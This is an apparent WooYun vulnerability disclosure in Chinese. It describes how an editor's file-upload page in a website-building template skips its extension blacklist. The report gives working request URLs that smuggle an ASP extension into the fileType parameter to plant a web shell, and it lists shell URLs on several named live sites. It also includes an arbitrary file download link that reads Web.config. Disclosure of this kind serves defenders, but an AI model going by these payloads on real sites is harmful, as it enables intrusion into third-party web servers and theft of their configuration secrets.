WooYun.org

漏洞页面：http://www.suqianlawyer.com///syWebEditor/Sel_UploadFile.asp
做了黑名单验证，限制asp asa cer。。。一些脚本的上传，
试试解析漏洞把。。

http://www.suqianlawyer.com/syWebEditor/Sel_UploadFile.asp?obj=AdvUrl&fileType=gif|jpg|asp;.jpg|&filePathType=1&filePath=/syWebEditor/UploadFile/

发现成功上传，刚开始以为这样就拿到shell了。但是菜刀连的时候却是405...
仔细一看才发现

http://www.suqianlawyer.com/syWebEditor/UploadFile/QQ图片20150406185040.asp.jpg

后缀是asp.jpg 分号被过滤了。。
但是这样就安全了么？？
结合上面对*.asp的过滤和;的过滤，我们可以构造后缀1.；asp来尝试绕过，结果是正确的

http://www.suqianlawyer.com/syWebEditor/Sel_UploadFile.asp?obj=AdvUrl&fileType=gif|jpg|.；asp|&filePathType=1&filePath=/syWebEditor/UploadFile/

绕过了黑名单对*.asp的限制并且在上传的过程中过滤了分号。。成功上传asp文件
，并且还弥补了本来解析漏洞的缺陷

shell地址：http://www.suqianlawyer.com//syWebEditor/UploadFile/1.asp
案例：http://www.zhubian88.cn/syWebEditor/UploadFile/1.asp
http://www.suqianlawyer.com//syWebEditor/UploadFile/1.asp
http://www.haomiaoyz.com/syWebEditor/UploadFile/1.asp
http://www.w8118w.cn/syWebEditor/UploadFile/1.asp
这个洞通杀人人会建站所有模版，但有些页面进行了验证，需要登录。为扩大影响，再附一个任意文件下载，
http://jiansh101.view.rrhjz.org/main/DownLoad.asp?sType=DownFile&FileName=/Web.config